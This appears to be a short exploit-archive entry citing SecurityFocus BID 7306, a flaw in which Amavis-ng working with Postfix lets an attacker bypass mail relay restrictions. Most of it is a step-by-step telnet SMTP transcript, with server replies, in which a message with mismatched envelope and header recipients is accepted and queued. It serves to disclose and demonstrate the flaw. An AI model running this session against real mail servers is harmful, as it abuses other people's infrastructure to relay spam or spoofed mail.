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563 B
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21 lines
No EOL
563 B
Text
source: https://www.securityfocus.com/bid/7306/info
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It has been reported that some versions of Amavis-ng do not properly interact with Postfix. Because of this, an attacker may be able to circumvent relay restrictions.
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#> telnet somemx.domain.tld 25
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(220 somemx.example.com ESMTP Postfix)
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helo amavis-ng
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(250 somemx.example.com)
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mail from:userX@example.com
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(250 ok)
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rcpt to:userY@example.com
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(250 ok)
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data
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(354 End data with <CR><LF>.<CR><LF>)
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From: userX@example.com
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To: userZ@example.com
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Subject: AMaViS-ng 0.1.6.x bug
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.
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(250 Ok: queued as ...)
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quit
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(221 Bye) |